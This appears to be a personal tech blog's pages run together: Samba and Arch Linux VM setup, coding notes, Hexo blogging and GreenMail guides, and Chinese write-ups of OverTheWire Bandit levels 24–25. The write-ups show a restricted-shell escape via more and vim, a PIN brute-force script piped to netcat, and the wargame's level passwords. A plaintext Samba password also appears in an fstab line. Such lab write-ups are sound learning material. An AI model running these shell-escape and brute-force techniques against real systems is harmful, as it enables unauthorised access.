Mccranky's Blog

Turn On, Boot Up, Jack In

For this tutorial, we’ll be using Samba. As for what Samba really is though, the most I can figure out from my search on Google is that Samba is a free and open-source software that allows files to be shared across Windows and Linux systems simply and easily. To be exact, it is an open-source implementation of the SMB/CIFS protocol.

Setup

Install smbclient util with pacman

1
sudo pacman -S smbclient

Create shared directory

1
sudo mkdir /home/<user>/share

This directory is to be shared between the host and guest machines.

Edit the Samba configuration file

Open up the configuration file for samba:

1
sudo nano /etc/samba/smb.conf

Add these lines to the configuration file:

1
2
3
4
[share]
path = /home/<user>/share
read only = no
guest ok = yes

Create Samba password

1
sudo smbpasswd -a <user>

Restart the Samba service to refresh:

1
sudo systemctl restart smb.service

IP Configuration

In the UTM app on your MacBook, go to the settings for the ArchLinux VM and enable the “Port Forwarding” option. Add a new rule with the following settings:

Protocol: TCP
Host Port: 445
Guest IP: IP address of the ArchLinux VM
Guest Port: 445

To get Guest IP, run the following line:

1
[root@alarm ~]# ip addr | grep inet
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host 
inet 192.168.65.3/24 metric 1024 brd 192.168.65.255 scope global dynamic enp0s1
inet6 fde3:e977:b4d3:5c13:e0b4:51ff:fee5:2142/64 scope global dynamic mngtmpaddr noprefixroute 
inet6 fe80::e0b4:51ff:fee5:2142/64 scope link

In this case, it’s 192.168.65.3.

To get Host IP, run the following line:

1
2
3
ipconfig getifaddr en0

# 10.8.189.52

On your MacBook, open Finder and click “Go” > “Connect to Server” (Cmd + K).

Enter this address: smb://localhost:445/share

Enter the Samba username and password when prompted.

You can now access the shared directory and transfer files between the host and guest operating systems.

Mount /mnt/share

Normally during the boot-up process of our machines, the mounting up of disks and folders are done for us. However, I keep getting this error telling me:

[FAILED] Failed to mount /mnt/share.

So I have to mount this directory myself, by running:

1
sudo mount -t cifs //localhost/share /mnt/share -o user=<Samba username>,password=<Samba password>

This command mounts a Samba share located on the local machine (localhost) to a directory (/mnt/share) using the Common Internet File System (CIFS) protocol.

The -o option specifies additional mount options, in this case, it provides the Samba username and password to authenticate and access the share.


Enable Samba service

But before we run this command, we have to ensure that Samba service on the ArchLinux VM is up and running.

Check that the Samba service is running on the ArchLinux VM:

1
sudo systemctl status smb.service

If the service is not running, start it using the following command:

1
sudo systemctl start smb.service

To automatically start the Samba service on boot, you can enable the smb.service unit running the following command:

1
sudo systemctl enable smb.service

Make sure that the Samba username and password are correct.

1
smbclient //localhost/share -U mccranky

Restart the ArchLinux VM to test that the Samba service starts automatically:

1
sudo systemctl reboot

To check whether /mnt/share has been successfully mounted, run the following line:

1
mount | grep /mnt/share

If the directory is mounted, we should be able to see something similar to this:

//localhost/share on /mnt/share type cifs (rw,relatime,vers=3.1.1,cache=strict,username=mccranky,
uid=0,noforceuid,gid=0,noforcegid,addr=127.0.0.1,file_mode=0755,dir_mode=0755,soft,nounix,serveri
no,mapposix,rsize=4194304,wsize=4194304,bsize=1048576,echo_interval=60,actimeo=1,closetimeo=1,use
r=mccranky)

Mount /mnt/share on startup

To automatically mount the Samba shared directory on boot, you can add an entry to the /etc/fstab file.

1
sudo nano /etc/fstab

Then append the following line to the end of the file:

1
//localhost/share /mnt/share cifs user=mccranky,password=Rogue12 0 0

However, it seems that our new input comflicts with this line:

1
share /mnt/share 9p trans=virtio,nofail 0 0

The reason for this is because our new line mounts a CIFS file system from localhost onto the mount point /mnt/share, using the username mccranky and password Rogue12.

The old line mounts a 9p file system onto the same mount point /mnt/share, using the virtio transport and the nofail option.

Since our old entry gave us much headache, I’ll just swap it for the new one. :)

Let’s test the mount by running the following command:

1
sudo mount -a

This command will attempt to mount all entries in the /etc/fstab file. If there are any errors, it will display them in the terminal.

Now we run sudo systemctl reboot to see if everything has been resolved at boot-up. There should be no more failures.

Rollback

Disable Samba service

1
2
3
4
5
6
7
8
9
10
11
12
13
sudo systemctl stop smb.service

sudo systemctl disable smb.service

sudo pacman -R samba

sudo rm -rf /etc/samba
sudo rm -rf /var/cache/samba
sudo rm -rf /var/lib/samba

sudo userdel -r samba
sudo groupdel samba

Unmount /mnt/share

Edit the Samba configuration file /etc/samba/smb.conf using a text editor:

1
sudo nano /etc/samba/smb.conf

Find the section that defines the /mnt/share share. It should look something like this:

1
2
3
4
[mnt]
path = /mnt/share
read only = no
guest ok = yes

Remove the entire section, then restart the Samba service:

1
sudo systemctl start smb.service

The /mnt/share share should now be removed from Samba on Arch Linux.

Revoke Samba password

1
sudo smbpasswd -x <user>

This will remove the user’s password from the Samba password database, effectively undoing the sudo smbpasswd -a <user> command.

ArchLinux is a text-based operating system that does not come with a graphical interface, and all tasks are performed by running commands in the Command Line Interface (CLI).

Setup

The setting up of UTM and running virtual machines on it is rather simple. Just follow the steps shown below and you’ll be playing around soon enough.

  1. Download UTM

  2. Click on Open in UTM - this automatically redirects you to your newly installed UTM app, where UTM will download the pre-built ArchLinux VM for you.

  3. (Optional) You can run the VM as is, but feel free to tweak with the settings if you want to.

Install Dependencies

sudo

1
2
3
4
5
6
su -

pacman -Syu

pacman -S sudo

su is short for “substitute user”, and it is used to switch to another user account in Unix-based operating systems. When you use su without any options, it will switch to the root user account by default.

The - option used with su is used to simulate a full login for the new user, and it is not specific to the root user. When you use su - followed by a username, it will switch to that user’s account with a login shell.

So, to summarize:

  • su is used to switch to another user account.

  • su without any options will switch to the root user account by default.

  • su - followed by a username will switch to that user’s account with a login shell, simulating a full login for that user.


pacman

pacman is the package manager for Arch Linux, a lightweight and flexible Linux distribution.

With pacman, users can easily install, remove, and update software packages on their Arch Linux system. It uses a binary package format, which means that packages are precompiled and ready to install, making the process faster and more efficient than compiling from source.

Some common pacman options include:

pacman -Syu: -S stands for “sync”, -y and -u are options that tell pacman to refresh the package databases and upgrade all packages, respectively. -Syu, as a whole, updates the system and all installed packages to the latest version.

pacman -S <package>: -S is a shorthand for --sync. This command installs a package. When --needed option is specified alongside the pacman -S command, only packages that are not already installed on your system get installed.

pacman -R <package>: -R stands for “remove”. This command removes a package.

pacman -Ss <searchterm>: -Ss stands for “synchronize/search”. This command searches for packages containing the specified search term.

pacman -Q: -Q stands for “query”. This command lists all installed packages on the system.

Use the following commands with caution!

pacman -Sc: Removes all the packages from the cache which are not currently installed on the system. It will only remove packages that are not needed anymore and will not affect any installed packages. This command can be useful to free up disk space on the system.

pacman -Scc: Removes all the packages from the cache, including those that are currently installed on the system. It will remove all the package files from the cache, along with their associated databases. This command can be useful if you want to completely clean the package cache and start fresh.

pacman -Syy: Forces a refresh of all package databases, even if they are already up to date. This ensures that you have the latest package database information available, which can be useful in situations where the package databases may have become out of sync or corrupted.


Once the installation is complete, we need to configure sudo to allow users to execute commands with administrative privileges. To do this, you need to add the user to the wheel group. Run the following command to add the user to the wheel group:

1
usermod -aG wheel <username>

This command is used to add a user to the wheel group, which will give them the ability to perform administrative tasks on the system using the sudo command.

usermod: This is a command-line utility in Unix-based operating systems that is used to modify user account properties. The usermod command allows you to add or remove a user from a group, change a user’s home directory, and modify other user account settings.

wheel: This is a special group in Unix-based operating systems that is used to control access to administrative tasks. Users who are members of the wheel group are allowed to use the sudo command to execute commands with root privileges.

-aG: These two options used alongside usermod are used to add a user to a group. Specifically, -a stands for “append”, which means that the user is added to the group without removing them from any other groups they may already be a member of. -G stands for “group”, and is followed by the name of the group to add the user to.


1
visudo -f /etc/sudoers

visudo: This is a command used in Unix-based operating systems to edit the sudoers file, which controls user access to administrative commands.

-f: This option is used to specify the file to edit.

visudo uses the system’s default editor to open and edit the sudoers file, which is often vi.

If vi is not your thing, you can always specify which editor to use by pass EDITOR=<editor-name> in front of visudo. You can change the default editor once and for all by change these two environment variables: VISUAL and EDITOR.

1
export EDITOR=nano

Note
The main difference between the two is that VISUAL is used for visual editors, such as Sublime Text, Atom, or Visual Studio Code, while EDITOR is used for non-visual editors, such as nano, vim, or emacs.

Let’s add the finishing touch and uncomment the following line in the sudoers file:

1
%wheel ALL=(ALL:ALL) ALL

SPICE guest tools

SPICE stands for Simple Protocol for Independent Computing Environments. It is a remote computing solution that allows users to access the desktop of a virtual machine or remote system from a client device. SPICE provides a high-performance, low-latency connection that supports a wide range of features, including audio, video, and USB redirection. It is commonly used in virtualization environments, such as those provided by QEMU and KVM, to provide remote access to virtual machines.

However, we’re using it for clipboard sharing. With SPICE guest tools installed, the clipboard will be synced between the guest and the host.

Install the spice-vdagent package by running the following command:

1
sudo pacman -S spice-vdagent

Once the installation is complete, start the spice-vdagent service by running the following command:

1
sudo systemctl start spice-vdagentd.service

You can also enable the service to start automatically at boot time by running the following command:

1
sudo systemctl enable spice-vdagentd.service

However, I wasn’t able to enable it on first try.

The unit files have no installation config (WantedBy=, RequiredBy=, Also=,
Alias= settings in the [Install] section, and DefaultInstance= for template
units). This means they are not meant to be enabled or disabled using systemctl.

Possible reasons for having this kind of units are:

* A unit may be statically enabled by being symlinked from another unit's
  .wants/ or .requires/ directory.
* A unit's purpose may be to act as a helper for some other unit which has
  a requirement dependency on it.
* A unit may be started when needed via activation (socket, path, timer,
  D-Bus, udev, scripted systemctl call, ...).
* In case of template units, the unit is meant to be enabled with some
  instance name specified.

Here are some potential reasons why this error might be occurring and how we can address them:

The unit file might be missing the [Install] section. Check the spice-vdagentd.service file located in /usr/lib/systemd/system to see if it contains an [Install] section with the appropriate WantedBy or RequiredBy settings. If the section is missing or incomplete, you can add it manually. For example, to enable the service at boot time, you can add the line WantedBy=multi-user.target to the [Install] section.

The unit file might be a template unit. Template units are designed to be instantiated with specific instance names and cannot be enabled or disabled directly. Check the spice-vdagentd.service file to see if it contains the DefaultInstance setting in the [Install] section. If it does, you will need to specify an instance name when enabling the service using the systemctl enable command. For example, if the DefaultInstance setting is my-instance, you would run systemctl enable spice-vdagentd@my-instance.service.

The unit file might be symlinked from another unit’s .wants/ or .requires/ directory. Check the contents of these directories located in /etc/systemd/system to see if there are any symlinks pointing to spice-vdagentd.service. If there are, you do not need to enable the service separately as it will be started automatically when the dependent unit is started.

It’s the first fix for me. My [Install] section had only one line “Also=spice-vdagentd.socket“, so I added a second.

wget

Install the wget command-line tool:

1
2
3
4
5
sudo pacman -Syy

# Update package database

sudo pacman -S wget

Note: You may need to refresh your keychains first!

git

Install the git package by running the following command:

1
sudo pacman -S git

yay

The reason why we’re not installing apt is because apt is a package manager used in Debian-based Linux distributions like Ubuntu, and it is not available in Arch Linux. Instead, Arch Linux uses its own package manager called pacman, the one we just talked about.

If you are familiar with apt and want to use a similar package manager in Arch Linux, you can use yay, which is a popular AUR (Arch User Repository) helper that provides a pacman-like interface with added features.

1
sudo pacman -S base-devel

Install yay by running the following command:

1
2
3
4
5
6
git clone https://aur.archlinux.org/yay.git

cd yay

makepkg -si

makepkg -si is a command used in Arch Linux to build and install a package from source code.

makepkg: This is a tool that automates the process of building packages from source code in Arch Linux. It creates a package file that can be installed using the package manager.

-s: A flag that tells makepkg to install any dependencies needed to build the package.

-i: A flag that tells makepkg to install the package after it has been built.

neovim

1
sudo pacman -S --needed neovim

Create a non-root user

Before we move on to the next step, we have to create an alternative user apart from our current root, otherwise makepkg -si won’t work.

It’s fairly simple.

To create a non-root user account on Arch Linux, we have to run these few steps:

Run the following command to create a new user account:

1
useradd -m -s /bin/bash <username>

Set a password for the new user account:

1
sudo passwd <username>

Add the new user to the wheel group to allow them to use sudo:

1
usermod -aG wheel <username>

At last, we simply log out of the root user account and log in to the new user account by entering the username and password we just created.


Once the installation is complete, you can use yay to search for and install packages from the AUR. For example, to install the firefox package from the AUR, you can run the following command:

1
yay -S firefox

Or if you want to uninstall, run the following command:

1
yay -Rns firefox

This command will remove Firefox and its dependencies (-R), including any configuration files (-n) and any packages that were installed as dependencies and are no longer required (-s).

Now, yay will automatically download and install the package and its dependencies.

Note
While yay provides a pacman-like interface, it is not a drop-in replacement for apt, and there may be some differences in the way packages are managed and installed.


Refresh keys

PGP keys are used to verify the authenticity of packages in the official Arch Linux repositories.

Update the keyring package by running the following command:

1
sudo pacman -Sy archlinux-keyring

Import the new keys by running the following command:

1
sudo pacman-key --populate archlinux

Refresh the keyring by running the following command:

1
2
3
sudo pacman-key --refresh-keys

# This command retrieves the latest keys from the keyserver and update your keyring accordingly.

Now your keychains should be up to date and you should be able to verify the authenticity of packages in the official Arch Linux repositories.

Poweroff

Once you had your fun, you’d probably want to poweroff. Here’s what you should do:

1
sudo poweroff

Or:

1
sudo shutdown -h now

题目

有若干大整数,需要对其进行求和操作。

输入格式

每行输入一个字符串代表一个大整数,连续输入若干行,当某行字符为e或E时退出。

输入样例:

1
2
3
42846280183517070527831839425882145521227251250327
55121603546981200581762165212827652751691296897789
e

输出样例:

1
97967883730498271109594004638709798272918548148116

JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const readline = require('readline')
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
})

let sum = BigInt(0)

rl.on('line', line => {
if (!line.localeCompare("e", undefined, { sensitivity: "base" })) {
console.log(sum.toString())
rl.close()
} else {
sum += BigInt(line)
}
})

Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.util.Scanner;
import java.math.BigInteger;

public class Main {
public static void main (String[] args) {
Scanner scanner = new Scanner(System.in);
BigInteger sum = BigInteger.ZERO;

while (scanner.hasNextLine()) {
String line = scanner.nextLine();
if (line.equalsIgnoreCase("e")) {
System.out.println(sum.toString());
break;
} else {
sum = sum.add(new BigInteger(line));
}
}
scanner.close();
}
}

Lately I’ve been thinking that since Java has an equalsIgnoreCase method, JavaScript must have something similar. This is what I found: the localeCompare method.

Structure

1
str1.localeCompare(str2, [locales], [options])

Note: The Linux commands also has a locale command!

Available locales

language

'en': English
'fr': French
'de': German
'es': Spanish
'ja': Japanese
'zh': Chinese
'ar': Arabic
'ru': Russian

We can also use a combination of language and region subtags to specify a more specific locale. For example:

'en-US': English (United States)
'fr-CA': French (Canada)
'de-DE': German (Germany)
'es-MX': Spanish (Mexico)
'ja-JP': Japanese (Japan)
'zh-CN': Chinese (China)
'ar-EG': Arabic (Egypt)
'ru-RU': Russian (Russia)

Available options

numeric

1
2
3
4
5
console.log("60".localeCompare("40", undefined, { numeric: true })) // 1

console.log("60".localeCompare("60", undefined, { numeric: true })) // 0

console.log("60".localeCompare("100", undefined, { numeric: true })) // -1

numeric can take one of the two values: true and false

1
console.log("60".localeCompare("100", undefined, { numeric: false })) // 1

With false, both 60 and 100 are treated as normal String objects.

sensitivity

sensitivity can take one of the three values: base, accent, case

1
2
3
4
5
console.log("café".localeCompare("Cafe", undefined, { sensitivity: "base" })) // 0

console.log("café".localeCompare("Cafe", undefined, { sensitivity: "accent" })) // 1

console.log("café".localeCompare("Cafe", undefined, { sensitivity: "case" })) // -1

caseFirst

The caseFirst option in the localeCompare() method specifies whether uppercase letters should come before or after lowercase letters in the sort order. It can take one of the following two values:

upper: Sort uppercase letters before lowercase letters.

lower: Sort lowercase letters before uppercase letters.

1
2
3
4
5
console.log("Ba".localeCompare("AB", undefined, { sensitivity: "case" })) // 1

console.log("aB".localeCompare("AB", undefined, { sensitivity: "case" })) // -1

console.log("aB".localeCompare("AB", undefined, { sensitivity: "case", caseFirst: "upper" })) // 1

ignorePunctuation

The ignorePunctuation option in the localeCompare() method specifies whether punctuation and other symbols should be ignored during the comparison.

It can take one of the following two values: true and false

1
console.log("Hello, world!".localeCompare("Hello world", undefined, { ignorePunctuation: true })) // 0

请先阅读 使用 Hexo 生成静态网页博客

准备工作

首先,我们基于完成的博客.md文件生成静态网页:

1
2
3
4
5
cd /path/to/site/
# 跑到项目路径目录

hexo generate
# 生成静态网页,存放与 public 文件夹内

接着,我们进入public文件夹。

.
├── node_modules
├── public
├── scaffolds
├── source
└── themes

因为我们是使用 GitHub Pages 托管,所以我们需要在public文件夹内初始化git

1
2
3
4
5
6
7
git init

git branch -m main

git add .

git commit -m "初始化工作"

其次,我们还需要在 GitHub 上面建立一个远程仓库,格式必须username.github.io,这是硬性要求。

关联和发布

我们现在需要关联本地仓库和远程仓库,用例中我们使用https协议,当然也可以使用ssh密钥:

1
2
3
git remote add origin https://github.com/username/username.github.io.git

git push origin main

我们还需要更改一下远程仓库的 GitHub Pages 的设置,目的是告知它托管文件的地址:

点击 Settings

点击 Settings

点击 Pages

点击 Pages

修改设置

修改设置

最后,我们访问username.github.io就可以来到我们的博客页了 :)

要求

  • Node.js

  • Git

下载

请注意参考个人电脑的操作系统!

进入 Terminal 查看安装的版本:

1
2
3
node --version # v18.16.0

git --version # git version 2.40.0

Quick Start

1
2
3
4
5
6
7
8
9
hexo init my-blog

cd my-blog

# 因为 hexo 是基于 Node.js 完成的框架,所以完成第一步之后无需再执行 `npm init -y` 生成 package.json 文件

npm i

hexo server

接着我们去 localhost:4000 就能看到我们的博客了!

项目树状结构图

我们首先来了解一下我们的项目文件夹下面有些什么:

1
2
3
4
5
6
7
8
9
10
11
12
.
├── _config.landscape.yml
├── _config.yml
├── db.json
├── node_modules
├── package-lock.json
├── package.json
├── public
├── scaffolds
├── source
├── themes
└── yarn.lock

_config.yml:Hexo 博客设置

node_modules:存放启动需要使用的模组

public:存放生成的静态网页

1
2
3
4
5
6
7
8
9
10
11
12
13
public
├── 2023
├── README.md
├── archives
├── assets
├── css
├── fontawesome
├── fonts
├── images
├── index.html
├── js
├── tags
└── webfonts

scaffolds:存放 Hexo 个人博客的 3 种模版:page (白页),post (博客),draft (草稿)

1
2
3
4
scaffolds
├── draft.md
├── page.md
└── post.md

source:存放博客.md文件

themes:存放Custom主题,从npm下载的主题存放在node_modules

第一篇博客

我们先从草稿开始:

1
hexo new draft first-draft

Hexo 会帮我们在/source/_drafts/文件夹里创建我们的第一篇草稿。

如果觉得写得差不多了,我们可以:

1
hexo publish first-draft

Hexo 会自动帮我们把first-draft.md移动到/source/_posts/文件夹里,这样当我们打开服务器的时候就能看到这篇博客了。

当然我们也可以带参数运行hexo server

1
hexo server --draft

这样我们在写草稿时也能看到最终的布局,方便我们对内容排版进行修改。

修改_config.yml文件

我们可以通过修改设置文件来改变 Hexo 的一些初始行为,比如说在 Writing 一栏里改变default_layout变量的参数可以改变hexo new创建的文件类型。

1
2
# Writing
default_layout: post

这样我们就不用每次hexo new时还需要特地指定创建的文件类型了。

Prerequisites

  • Install tree command via Homebrew by running brew install tree

  • run brew to check if Homebrew is currently installed on your computer

  • if not, run the following to install Homebrew:

1
$ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Basic Syntax

1
tree [directory-path]

[directory-path] is an optional argument that specifies the directory you want to display as a tree structure. If you don’t specify a directory path, tree will display the tree structure for the current directory.

Here are some useful options you can add to the tree command:

-L [level]: Limit the depth of the tree to [level] directories.

-I [pattern]: Exclude files and directories that match the [pattern].

-P [pattern]: [pattern] is used to match files or directories that you want to include in the output.

-a: Show hidden files and directories.

-f: Print the full path prefix for each file or directory.

-h: Print the size of each file or directory in a human-readable format.

Example

1
2
3
4
5
6
$ tree -L 1 -P "source/*" -I "_drafts|_pages" source

source
└── _posts

2 directories, 0 files

You can omit the report on the last line with option --noreport if it bothers you.

要求

  • GreenMail Standalone

  • 本地 Apache 服务器

下载

  1. GreenMail 官网直接下载

  2. 使用命令行指令下载:

1
2
3
cd /home/user/

wget https://repo1.maven.org/maven2/com/icegreen/greenmail-standalone/2.1.0-alpha-1/greenmail-standalone-2.1.0-alpha-1.jar

下载完成以后从终端运行.jar文件:

1
java -Dgreenmail.smtp.timeout=120000 -Dgreenmail.smtp.hostname=0.0.0.0 -Dgreenmail.smtp.port=3025 -Dgreenmail.imap.hostname=0.0.0.0 -Dgreenmail.imap.port=3143 -jar /path/to/file/greenmail-standalone-2.1.0-alpha-1.jar

-Dgreenmail.smtp.timeout:为防止 SMTP 服务器超时,把超时时常设置为 120000 毫秒

-Dgreenmail.smtp.hostname, Dgreenmail.smtp.port:设置 SMTP 地址和端口

-Dgreenmail.imap.hostname, -Dgreenmail.imap.port:设置 IMAP 地址和端口

连接 SMTP 服务器

开启 Telnet 进程,连接到 SMTP 服务器的 3025 端口:

1
2
3
telent localhost 3025

# 因为是模拟握手,所以服务器地址就是本地域名
$ telnet localhost 3025
Trying ::1...
Connected to localhost.
Escape character is '^]'.
220 /0:0:0:0:0:0:0:1 GreenMail SMTP Service v2.1.0-alpha-1 ready
421 Service shutting down and closing transmission channel (socket timeout, SO_TIMEOUT: 30000ms)

握手成功了!接下里可以输入四字指令和 SMTP 服务器交流:

C: HELO localhost
S: 250-/0:0:0:0:0:0:0:1
   250 AUTH PLAIN LOGIN
C: MAIL FROM: <example@email.com>
S: 250 OK
C: RCPT TO: <example@email.com>
S: 250 OK
C: DATA
S: 354 Start mail input; end with <CRLF>.<CRLF>
C: HELLO THERE
   THIS IS USER SPEAKING
   .
S: 250 OK
C: QUIT
S: 221 /0:0:0:0:0:0:0:1 Service closing transmission channel
   Connection closed by foreign host.

解释一下这些缩写是什么意思:

HELO: hello

RCPT: recipient

CRLF: carriage return & line feed


连接 IMAP 服务器

认证阶段

  2023-10-09 14:59:25,387 INFO
  user.UserManager| Created user login example@email.com for address example@email.com with password
  example@email.com because it didn't exist before.

  $ telnet localhost 3110
  +OK POP3 server ready
  user example@email.com
  +OK
  pass example@email.com
  +OK user successfully logged on

交易阶段

  C: list
  S: 1 498
  S: 2 912
  S: .
  C: retr 1
  S: (blah blah ...
  S: .................
  S: ..........blah)
  S: .
  C: dele 1
  C: retr 2
  S: (blah blah ...
  S: .................
  S: ..........blah)
  S: .
  C: dele 2
  C: quit
  S: +OK POP3 server signing off

用户在这个阶段可以给邮件添加标记,被添加删除标记的邮件将在最后的更新阶段被删除

简要概述 CTF OverTheWire Bandit Level 25

题目

bandit25登录到bandit26,用户bandit26shell不是/bin/bash,而是其他东西。找出它是什么,它是如何工作的,以及如何打破它。


先利用ssh连接到bandit.labs.overthewire.org的服务器,端口号2220,为此我们需要bandit25的密码。

1
2
ssh bandit25@bandit.labs.overthewire.org -p 2220
# p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

bandit25进入 Level 25 之后先列举/home/bandit25有什么可以帮助通关的东西:

1
find . -maxdepth 1 -exec file {} 2>/dev/null \;
    .: directory
    ./.bash_logout: ASCII text
    ./.bashrc: ASCII text
    ./bandit26.sshkey: PEM RSA private key
    ./.profile: ASCII text
    ./.pin: ASCII text, with no line terminators
    ./.bandit24.password: ASCII text

find: 查找指令

.

-maxdepth 1: 类似于lodash.js中的flattenDepth的功能,用于拓展平铺树状结构,1代表一层

-exec <...> \;: 代表执行,和pskillidstat属于一类指令,多用于管理系统进程,这里我图方便用来替代for用一下。注意一定要在运行完<...>;结束进程,;前面用\取消原本的意义

file: 查询文件类型,{}placeholder,和 HTML 里的那个placeholder一个意思

2>/dev/null: 2是报错信息的status code/dev/null是系统的bit dump,因此这句的完整的意思就是不让报错信息输出到stdout

很明显bandit26.sshkey有用,是bandit26的 SSH 密钥。

我们就用它来连接bandit26:

1
ssh -i bandit26.sshkey -p 2220 bandit26@localhost

-i代表identifier,就是身份验证

接着,在handshake阶段选’yes’

然后,我们就被踢出来了。。。

  _                     _ _ _   ___   __  
 | |                   | (_) | |__ \ / /  
 | |__   __ _ _ __   __| |_| |_   ) / /_  
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \ 
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/ 
Connection to localhost closed.

不急,去看看bandit26的用户信息。

在类Unix系统中(包括GNU - GNU’s Not Unix,也就是Linux),用户信息在系统文件/etc/passwd里 - 这是常识,要记住!

1
2
3
cat /etc/passwd | grep "bandit26"

# bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

先不用管别的,我们要找的是最后一列,也就是代表每个用户的初始shell

一开始有说过,bandit26用的shell不是bash,是别的东西。众所周知,因为shell负责翻译所有的指令成机码并输出给kernel执行,所以shell是开启终端进程时运行的第一个程序。因此,我们登陆不上bandit26肯定和这个用户修改了他的default shell有关。

cat /usr/bin/showtext看一下他的初始shell是什么。

1
2
3
4
5
6
7
#!/bin/sh

export TERM=linux

exec more ~/text.txt
exit 0

好家伙,改了个参数,打印了个图标就退出了,怪不得登录不上。

不过因为bandit26用的是more指令,而more指令如果在一个窗口里打印不出文本就会卡壳,我们可以钻这个漏洞,就是把窗口缩到特别小,然后再尝试登陆。

完美,它卡了。。。

1
2
3
4
5
6
#
# _ _ _ _ ___
# __
# | | | (_) | |__ \
# / /
# --More--(33%)

我们可以在more的窗口里用!加任何指令开启一个subshell,也可以直接v打开vim编辑器。

我们选择后者。

进入vim之后按老规矩先ESC进入普通模式,然后按:键,跟在后面输入指令就可以改shell

1
2
3
4
5
6
7
set shell=/bin/bash

# 改成bash

shell

# 刷新并重新登陆

我们现在应该是以bandit26的身份登陆了。

然后需要做的就是去取下一关的密码了。

1
2
cat /etc/bandit_pass/bandit26
# c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1

简要概述 CTF OverTheWire Bandit Level 24

题目

在端口 30002 上有一个守护进程正在监听,如果提供了 bandit24 的密码和一个秘密的 4 位数的数字密码,它将为您提供 bandit25 的密码。除了通过穷举全部 10000 种组合的方式以外,没有其他获得 pincode 的方法,这被称为暴力破解。

大致思路如下:

  • 先写一个script,按要求进行排版输出到stdout
  • 把输出的 10000 种组合pipenetcat监视的localhost:30002进行测试
  • 直接输出到stdout可能会timeout打断进程,所以我们输出到output.txt
  • 最后cat文本内容拿到密码

先利用ssh连接到bandit.labs.overthewire.org的服务器,端口号2220,为此我们需要bandit24的密码。

1
2
ssh bandit24@bandit.labs.overthewire.org -p 2220
# VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

bandit24进入 Level 24 之后先到系统文件夹/tmp下建立本关的临时文件夹。

1
2
3
4
5
6
7
cd /tmp; mktemp -d

# /tmp/tmp.u4oQlmpmWL

cd /tmp/tmp.u4oQlmpmWL

# bandit24@bandit:/tmp/tmp.u4oQlmpmWL$

-d代表directory,即告诉mktemp指令创建的临时文件属性为文件夹

1
2
3
4
5
touch script.sh

chmod 777 script.sh

vim script.sh

touch: 创建文件

chmod - change mode: 改变文档rwx权限

  • r - read: 读取权限status code为 4
  • w - write: 书写权限status code为 2
  • x - execute: 执行权限status code为 1

进入文本编辑器之后,选定”插入“模式,按i

首行书写shebang行,选定使用哪个shell来执行该script - 我们选用bash

然后写我们的entity body的代码:

1
2
3
4
5
6
7
8
9
#!/bin/bash

for i in {0000..9999}; do
echo $i
printf "%s %s\n" "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar" "$i"
done

exit 0

除了语法上微小的一点差异,该题的syntaxC的语法很相像,所以不赘述了。

大致格式就是for [ test statement]; do <command>; done

编辑结束按ESC键回到普通模式,按:,然后输入指令wq,回车保存并退出。

执行script.sh,并把结果pipenetcat:

1
./script.sh | nc localhost 30002 > output.txt

然后cat output.txt读取文本内容,这是其中的一小部分:

        Fail! You did not supply enough data. Try again.
        Wrong! Please enter the correct pincode. Try again.
        Fail! You did not supply enough data. Try again.
        Wrong! Please enter the correct pincode. Try again.
        Fail! You did not supply enough data. Try again.
        Wrong! Please enter the correct pincode. Try again.
        Fail! You did not supply enough data. Try again.
        Wrong! Please enter the correct pincode. Try again.
        Fail! You did not supply enough data. Try again.
        Wrong! Please enter the correct pincode. Try again.
        Fail! You did not supply enough data. Try again.
        Wrong! Please enter the correct pincode. Try again.
        Fail! You did not supply enough data. Try again.
        Wrong! Please enter the correct pincode. Try again.
        Fail! You did not supply enough data. Try again.
        Wrong! Please enter the correct pincode. Try again.
        Fail! You did not supply enough data. Try again.
        Correct!
        The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

        Exiting.
0%